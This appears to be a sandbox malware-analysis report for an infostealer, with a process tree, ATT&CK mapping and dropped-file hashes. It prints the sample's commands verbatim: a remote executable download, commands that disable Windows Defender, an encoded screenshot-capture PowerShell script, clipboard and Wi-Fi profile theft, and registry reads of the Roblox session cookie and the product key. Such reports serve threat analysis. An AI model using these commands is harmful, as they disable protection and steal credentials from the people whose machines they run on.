- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:5736
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SendNotifyMessage
      PID:4512
- C:\Users\Admin\AppData\Local\Temp\Temp1_winup.zip\wts.exe
  "C:\Users\Admin\AppData\Local\Temp\Temp1_winup.zip\wts.exe"
  2⤵
  - Suspicious use of SendNotifyMessage
  PID:1580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:5476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:4384
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SendNotifyMessage
      PID:3204
- C:\l\winup\winb.exe
  "C:\l\winup\winb.exe"
  2⤵
  PID:5400
- - C:\l\winup\winb.exe
    "C:\l\winup\winb.exe"
    3⤵
    - Loads dropped DLL
    PID:5272
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winup\winb.exe'"
      4⤵
      PID:2584
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winup\winb.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      PID:3488
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()""
      4⤵
      PID:5204
    - - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()"
        5⤵
        
        PID:2072
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌‏‎ .scr'"
      4⤵
      PID:5660
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌‏‎ .scr'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:4984
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:3336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:1124
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:3900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
      4⤵
      PID:5916
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        5⤵
        
        PID:5316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
      4⤵
      Clipboard Data
      PID:5952
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:6016
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:3760
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5300
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4660
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1464
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "systeminfo"
      4⤵
      PID:1628
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:5976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
      4⤵
      PID:5572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        
        PID:560
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1bk2amve\1bk2amve.cmdline"
        6⤵
        
        PID:1112
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES47AE.tmp" "c:\Users\Admin\AppData\Local\Temp\1bk2amve\CSC42F884E9F6044150A890FE7C9641D724.TMP"
        7⤵
        
        PID:416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:4784
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:1212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:1544
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:1144
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:4548
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:1092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:5276
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:4504
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:5320
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        
        PID:1004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "getmac"
      4⤵
      PID:2232
    - - C:\Windows\system32\getmac.exe
        
        getmac
        5⤵
        
        PID:6084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI54002\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\7iZFv.zip" *"
      4⤵
      PID:2020
    - - C:\Users\Admin\AppData\Local\Temp\_MEI54002\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI54002\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\7iZFv.zip" *
        5⤵
        Executes dropped EXE
        
        PID:472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
      4⤵
      PID:5952
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        
        PID:5688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
      4⤵
      PID:2124
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        5⤵
        
        PID:1036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:5488
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:5276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
      4⤵
      PID:1196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5156
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      PID:3460
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:2228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
      4⤵
      PID:5780
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        5⤵
        
        PID:3056
- C:\l\winup\winb.exe
  "C:\l\winup\winb.exe"
  2⤵
  PID:5892
- - C:\l\winup\winb.exe
    "C:\l\winup\winb.exe"
    3⤵
    - Loads dropped DLL
    PID:4632
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  - Executes dropped EXE
  PID:1108
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:784
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  PID:2072

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4244

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
ccacdee6f53f8f8363525e15fea70413

SHA1
0e87eeaa730cd1e30c9c7bf27d9401fba10264b8

SHA256
982829aa6ffda0e45f5569d0ad0491c1309d5de824c7a93273a4bf819e8e913f

SHA512
7fbab53c366f9c6c4f6ceb03d3c72d94e5b135698ca9ab2bfe076bfd7304935540c4eaa32836253610a6f226071d859318a8337b68ab9e649757e9fe0e32549c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
1792b5eb224ac4b980c80305cd22bfc1

SHA1
b70a32220369549a198d31bb9d52e45c677baa31

SHA256
2027ae83ab46973183e23a4c2451fbcfd0ce48e6de9350411142778b7683d56c

SHA512
4e5a549ec9273f3ce94da0b168246c7b19fcfbc7e7e911e957e27782e74f9532cccf91934e8886c79a9ff6ca3b724038250f5b7a3f492eafa82ac3ce2b960c74

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
819092da300fa07e1d23264c8e54d13b

SHA1
c43e04b5f097a348355d5e66758a76315c2b6e61

SHA256
870331657bb8ed728be178e141dd1b167330882fce8175ebfd6ec898fddc4b3a

SHA512
221bf8c924aef21d33b1342532244cb89dd8581733e3c7f741b4876ddc089405d29fded1f987d39f13136fddee6631ce4ab8f19d196d1bb8991d954f012edc79

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
948683e35cd683ed1224b743277af635

SHA1
cff513bf02e6ef0bceb57f8a90fd5d7d7f962171

SHA256
a22fa94f00b408ed01cb37333ff26771606c12b2c06ec96ea915bddc9cd5eb37

SHA512
d1104acad9455cd8879021b7df194e0930d10c0652011234f26f5c3388228969c6dcca1b83d0222d2b76e1bfa1b4438ead4c9be65e326048ecdfdd54fdd646d3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
831245a025ad6ff8c6dbc83c240adcde

SHA1
56a0048c61dc774fd1220a2fea4f76671187e7d2

SHA256
